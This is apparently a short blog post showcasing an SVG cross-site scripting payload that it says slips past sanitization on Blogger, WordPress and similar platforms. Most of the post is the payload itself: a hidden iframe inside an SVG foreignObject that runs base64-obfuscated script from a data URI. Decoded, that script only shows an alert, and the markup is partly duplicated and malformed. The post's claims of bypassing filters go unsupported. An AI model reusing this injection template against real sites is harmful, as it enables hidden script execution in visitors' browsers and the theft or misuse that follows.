🚀 SVG Payload Injection Showcase 🚀
Understanding SVG Injection Attacks
In this demonstration, we showcase how an advanced SVG payload can bypass typical sanitization measures commonly employed by platforms such as Blogger, WordPress, and other CMS platforms.
Real-World Working SVG Payload
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<foreignObject width="1" height="1">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe srcdoc="<script>(function(){var s=document.createElement('script');s.src='data:text/javascript;base64,Y29uc29sZS5sb2coJ1BheWxvYWQgRXhlY3V0ZWQgU3VjY2Vzc2Z1bGx5Jyk7YWxlcnQoJ1NWRy1YU1MgUGF5bG9hZCBFeGVjdXRlZCEnKTs=';document.body.appendChild(s);})();</script>" style="opacity:0;visibility:hidden;"></iframe>
</body>
</foreignObject>
</svg>
<foreignObject width="1" height="1">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe srcdoc="<script>(function(){var s=document.createElement('script');s.src='data:text/javascript;base64,Y29uc29sZS5sb2coJ1BheWxvYWQgRXhlY3V0ZWQgU3VjY2Vzc2Z1bGx5Jyk7YWxlcnQoJ1NWRy1YU1MgUGF5bG9hZCBFeGVjdXRlZCEnKTs=';document.body.appendChild(s);})();</script>" style="opacity:0;visibility:hidden;"></iframe>
</body>
</foreignObject>
</svg>
Why This Works
The SVG tag, combined with foreignObject and an embedded invisible iframe, allows the payload to execute discreetly, bypassing standard security filters. Base64 encoding further obfuscates the JavaScript payload, enabling stealthy execution.
Comments
Post a Comment